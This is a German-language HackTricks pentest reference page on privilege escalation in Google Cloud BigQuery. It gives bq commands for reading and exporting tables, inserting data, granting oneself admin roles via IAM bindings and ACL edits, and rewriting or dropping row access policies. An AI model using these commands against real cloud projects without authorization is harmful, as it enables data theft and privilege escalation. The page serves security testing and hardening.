GCP - BigQuery Privesc

Unterstütze HackTricks

BigQuery

Für weitere Informationen über BigQuery siehe:

GCP - Bigquery Enum

Tabelle lesen

Beim Lesen der in einer BigQuery-Tabelle gespeicherten Informationen könnte es möglich sein, sensible Informationen zu finden. Um auf die Informationen zuzugreifen, sind die Berechtigungen bigquery.tables.get, bigquery.jobs.create und bigquery.tables.getData erforderlich:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Daten exportieren

Dies ist eine weitere Möglichkeit, auf die Daten zuzugreifen. Exportiere sie in einen Cloud-Speicher-Bucket und lade die Dateien mit den Informationen herunter. Um diese Aktion durchzuführen, werden die folgenden Berechtigungen benötigt: bigquery.tables.export, bigquery.jobs.create und storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Es könnte möglich sein, bestimmte vertrauenswürdige Daten in eine Bigquery-Tabelle einzufügen, um eine Schwachstelle an einer anderen Stelle auszunutzen. Dies kann leicht mit den Berechtigungen bigquery.tables.get, bigquery.tables.updateData und bigquery.jobs.create durchgeführt werden:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich selbst weitere Berechtigungen über ein BigQuery-Dataset zu geben:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Nur diese Berechtigung erlaubt es, Ihren Zugriff auf ein BigQuery-Dataset zu aktualisieren, indem Sie die ACLs ändern, die angeben, wer darauf zugreifen kann:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Ein Angreifer könnte dieses Privileg missbrauchen, um sich weitere Berechtigungen über eine BigQuery-Tabelle zu verschaffen:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Laut der Dokumentation ist es mit den genannten Berechtigungen möglich, eine Zeilenrichtlinie zu aktualisieren. Allerdings benötigen Sie bei Verwendung der CLI bq noch einige weitere: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Es ist möglich, die Filter-ID in der Ausgabe der Zeilenrichtlinien-Aufzählung zu finden. Beispiel:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Wenn du bigquery.rowAccessPolicies.delete anstelle von bigquery.rowAccessPolicies.update hast, könntest du die Richtlinie auch einfach löschen:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Eine weitere potenzielle Möglichkeit, um Zeilen-Zugriffsrichtlinien zu umgehen, wäre einfach den Wert der eingeschränkten Daten zu ändern. Wenn Sie nur sehen können, wenn term Cfba ist, ändern Sie einfach alle Datensätze der Tabelle so, dass term = "Cfba" ist. Dies wird jedoch von bigquery verhindert.

Unterstütze HackTricks

Last updated